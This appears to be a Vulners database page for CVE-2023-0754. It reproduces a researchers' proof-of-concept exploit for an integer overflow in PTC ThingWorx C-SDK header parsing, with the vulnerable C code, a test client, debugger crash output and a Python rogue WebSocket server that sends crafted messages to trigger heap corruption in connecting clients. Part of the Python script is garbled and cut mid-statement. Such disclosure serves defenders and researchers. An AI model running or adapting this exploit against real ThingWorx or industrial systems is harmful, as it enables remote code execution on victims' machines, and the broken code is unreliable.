| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2023-0754 | 24 Feb 202300:48 | – | circl | |
| PTC ThingWorx Edge输入验证错误漏洞 | 23 Feb 202300:00 | – | cnnvd | |
| CVE-2023-0754 | 23 Feb 202321:27 | – | cve | |
| CVE-2023-0754 | 23 Feb 202321:27 | – | cvelist | |
| EUVD-2023-12772 | 3 Oct 202520:07 | – | euvd | |
| PTC ThingWorx Edge | 27 Feb 202320:46 | – | ics | |
| CVE-2023-0754 | 23 Feb 202322:15 | – | nvd | |
| Integer overflow | 23 Feb 202322:15 | – | prion | |
| PT-2023-16503 · Microsoft +4 · .Net Sdk +10 | 23 Feb 202300:00 | – | ptsecurity | |
| CVE-2023-0754 | 23 May 202504:40 | – | redhatcve |
#!/usr/bin/env python3
"""
PTC Thingworx C-SDK twHeader_fromStream Integer Overflow Remote Code Execution Vulnerability
IDS: SRC-2023-0001, CVE-2023-0754
Download: https://developer.thingworx.com/-/media/developerportal/SDK_Files/C-SDK-2_2_12.zip
Found by: Chris Anastasio and Steven Seeley of Incite Team
# Summary:
An integer overflow vulnerability exists in the parsing of multipart message responses when allocating a heap buffer. An attacker can leverage this to write outside of a heap buffer and gain remote code execution against a vulnerable client in some contexts.
# Vulnerability Analysis:
Inside of the twHeader_fromStream function:
```c
twHeader * twHeader_fromStream(twStream * s) {
twHeader * hdr;
int cnt = 0;
int stringSize = 0;
if (!s) return 0;
hdr = (twHeader *)TW_CALLOC(sizeof(twHeader), 1);
if (!hdr) return 0;
while (cnt < 2) {
unsigned char size[4];
/* Get the first byte to check the size */
twStream_GetBytes(s, &size[0], 1);
if (size[0] > 127) {
/* Need the full 4 bytes */
twStream_GetBytes(s, &size[1], 3);
stringSize = size[0] * 0x1000000 + size[1] * 0x10000 + size[2] * 0x100 + size[3]; // 1
} else {
stringSize = size[0];
}
if (cnt) {
hdr->value = (char *)TW_CALLOC(stringSize + 1, 1); // 2
if (hdr->value) twStream_GetBytes(s, hdr->value, stringSize); // 3
} else {
hdr->name = (char *)TW_CALLOC(stringSize + 1, 1); // 4
if (hdr->name) twStream_GetBytes(s, hdr->name, stringSize); // 5
}
cnt++;
}
if (!hdr->name || !hdr->value) {
TW_LOG(TW_ERROR,"twHeader_fromStream: Error allocating header name or value");
twHeader_Delete(hdr);
}
return NULL;
}
```
At [1] is the attacker controlled string size. At [2] an int wrap occurs during allocation and finally at [3] a wild copy occurs in `twStream_GetBytes`. A second bug exists at [4] and [5] within the else clause.
```c
int twStream_GetBytes(struct twStream * s, void * buf, uint32_t count) {
if (!s) {
TW_LOG(TW_ERROR,"twStream_GetBytes: NULL Pointer passed in");
return TW_INVALID_PARAM;
}
if (s->file) {
if (TW_FREAD(buf, count, 1, s->file) < 0) return TW_ERROR_READING_FILE;
s->ptr += count;
return TW_OK;
}
if (s->ptr + count > s->data + s->length) {
TW_LOG(TW_WARN,"twStream_GetBytes: byte count of %d would exceed the length of %d",
count, s->length);
count = s->data + s->length - s->ptr;
}
memcpy(buf, s->ptr, count); // wild copy
s->ptr += count;
return TW_OK;
}
```
# Proof of Concept
The vulnerability was discovered in `KEPServerEX-6.11.718.0.exe` and later confirmed by crafting a vulnerable client using the provided C-SDK:
```c++
#define WIN32_LEAN_AND_MEAN
#include "twOSPort.h"
#include "twLogger.h"
#include "twApi.h"
#include "twFileManager.h"
#include "twTunnelManager.h"
#include#include#include#include#includeusing namespace std;
void appKeyCallback(char* appKeyBuffer, unsigned int maxLength) {
strcpy_s(appKeyBuffer, maxLength, "717c9dc1-7b0f-4624-b3b9-aab3db6bcce0");
}
inline void wait_on_enter()
{
std::string dummy;
std::cout << "Enter to continue..." << std::endl;
std::getline(std::cin, dummy);
}
int main(int argc, char* argv[])
{
HMODULE dll_1 = LoadLibraryA("libcrypto-1_1.dll");
HMODULE dll_2 = LoadLibraryA("libssl-1_1.dll");
char* host;
if (argc != 2) {
std::cout << "(+) usage: " << argv[0] << "";
exit(-1);
}
host = argv[1];
std::cout << "(+) targeting " << host << "!\n";
int err = 0;
wait_on_enter();
err = twApi_Initialize((char*)host, 8080, (char*)"/Thingworx/WS", appKeyCallback, (char*)"test", MESSAGE_CHUNK_SIZE, MESSAGE_CHUNK_SIZE, true);
if (err) {
std::cout << "(-) error initializing the API: " << GetLastError();
exit(err);
}
// disable compression and encryption so we can sniff traffic
twApi_DisableWebSocketCompression();
twApi_SetGatewayType("IndustrialGateway");
twApi_DisableEncryption();
// setup our connection with 1 try
err = twApi_Connect(1000, 1);
if (err) {
std::cout << "(-) connection failed! " << GetLastError() << "\n";
exit(-1);
}
std::cout << "(+) connection succeeded!\n";
}
```
## Debugging:
Don't forget to enable page heap
```
0:003> .reload /f /i twCSdk.dll
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\twCSdk.dll
0:003> g
ModLoad: 73910000 73962000 C:\Windows\SysWOW64\mswsock.dll
ModLoad: 75d60000 75dbf000 C:\Windows\SysWOW64\bcryptprimitives.dll
(30a8.2c10): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00a02000 ecx=0000007f edx=01fffe43 esi=00fac5a0 edi=00fd2fc0
eip=71373e4a esp=00cff514 ebp=00cff530 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
VCRUNTIME140D!memcpy+0x4aa:
71373e4a 660f7f6740 movdqa xmmword ptr [edi+40h],xmm4 ds:002b:00fd3000=????????????????????????????????
0:000> kv
# ChildEBP RetAddr Args to Child
00 00cff518 70b9b89a 00fc51c0 00f9e7a0 ffffffff VCRUNTIME140D!memcpy+0x4aa (FPO: [3,0,2]) (CONV: cdecl) [d:\a01\_work\48\s\src\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 608]
01 00cff530 70ba77ac 00f98380 00fc51c0 ffffffff twCSdk!twStream_GetBytes+0xca (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twBaseTypes.c @ 432]
02 00cff560 70ba5593 00f98380 00cff59c cccccccc twCSdk!twHeader_fromStream+0x18c (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 549]
03 00cff590 70ba45c2 00f98380 00cff5bc cccccccc twCSdk!twRequestBody_CreateFromStream+0x163 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 607]
04 00cff5b0 70baa39b 00f98380 00cff5e8 00000000 twCSdk!twMessage_CreateFromStream+0x172 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 228]
05 00cff5d0 70bd0030 00f9e2e8 00fcae00 00000028 twCSdk!msgHandlerOnBinaryMessage+0xdb (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 424]
06 00cff618 70b8a5dd 00f9e2e8 00000000 00cff7a4 twCSdk!twWs_Receive+0xf10 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\websocket\twWebsocket.c @ 936]
07 00cff65c 70b8c65e 00cff67c 00002710 00000000 twCSdk!sendMessageBlocking+0x12d (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 487]
08 00cff688 70b84b46 00cff6a8 00000000 00cff7a4 twCSdk!twApi_Authenticate+0xbe (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1526]
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\Poc.exe
09 00cff698 001460ef 000003e8 00000001 00141032 twCSdk!twApi_Connect+0x156 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1567]
0a 00cff7a4 00146ac3 00000002 00f8aff8 00f93950 Poc!main+0x18f (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\source\repos\Poc\Poc\Poc.cpp @ 59]
0b 00cff7c4 00146917 be80cd40 00141032 00141032 Poc!invoke_main+0x33 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78]
0c 00cff820 001467ad 00cff830 00146b48 00cff840 Poc!__scrt_common_main_seh+0x157 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
0d 00cff828 00146b48 00cff840 752bfa29 00a02000 Poc!__scrt_common_main+0xd (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 331]
0e 00cff830 752bfa29 00a02000 752bfa10 00cff89c Poc!mainCRTStartup+0x8 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17]
0f 00cff840 76ec7a9e 00a02000 6c2f3161 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
10 00cff89c 76ec7a6e ffffffff 76ee8a68 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
11 00cff8ac 00000000 00141032 00a02000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
```
"""
import socket
from base64 import b64encode
from hashlib import sha1
import struct
import re
HOST = '0.0.0.0'
PORT = 8080
FIN = 0x80
PAYLOAD_LEN = 0x7f
PAYLOAD_LEN_EXT16 = 0x7e
OPCODE_BINARY = 0x2
# msgCodeEnum
TWX_PUT = 0x2
# entityTypeEnum
TW_USERS = 0x32
# characteristicEnum
TW_PROPERTIES = 0x1
entityName = b"test"
characteristicName = b"test"
def calculate_response_key(key):
GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
hash = sha1(key.encode() + GUID.encode())
response_key = b64encode(hash.digest()).strip()
return response_key.decode('ASCII')
def make_handshake_response(key):
return \
'HTTP/1.1 101\r\n'\
'X-Content-Type-Options: nosniff\r\n' \
'X-XSS-Protection: 1; mode=block\r\n' \
'Content-Security-Policy: frame-ancestors \'self\'\r\n' \
'X-Frame-Options: SAMEORIGIN\r\n' \
'Upgrade: websocket\r\n' \
'Connection: Upgrade\r\n' \
'Sec-WebSocket-Accept: %s\r\n' \
'\r\n' % calculate_response_key(key)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
# keep attacking the server
while True:
conn, addr = s.accept()
with conn:
print('(+) connected by: %s' % addr)
while True:
data = conn.recv(1024)
if not data:
break
# handle upgrade request
if data.startswith(b"GET /Thingworx/WS"):
print("(+) sending upgrade response...")
match = re.search(b"Sec-WebSocket-Key: (.*)", data)
assert match, "(-) no Sec-WebSocket-Key found!"
key = match.group(1).rstrip()
conn.sendall(str.encode(make_handshake_response(key.decode())))
# handle binary request
if data.startswith(b"\x82"):
print("(+) sending exp response...")
"""
typedef struct twMessage {
enum msgType type;
unsigned char version;
enum msgCodeEnum code;
uint32_t requestId;
uint32_t endpointId;
uint32_t sessionId;
char multipartMarker;
uint32_t length;
void * body;
} twMessage;
"""
twMessage = b""
twMessage += struct.pack("= 126 and payload_length <= 65535:
header.append(FIN | OPCODE_BINARY)
header.append(PAYLOAD_LEN_EXT16)
header.extend(struct.pack(">H", payload_length))
conn.sendall(header + twMessage)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation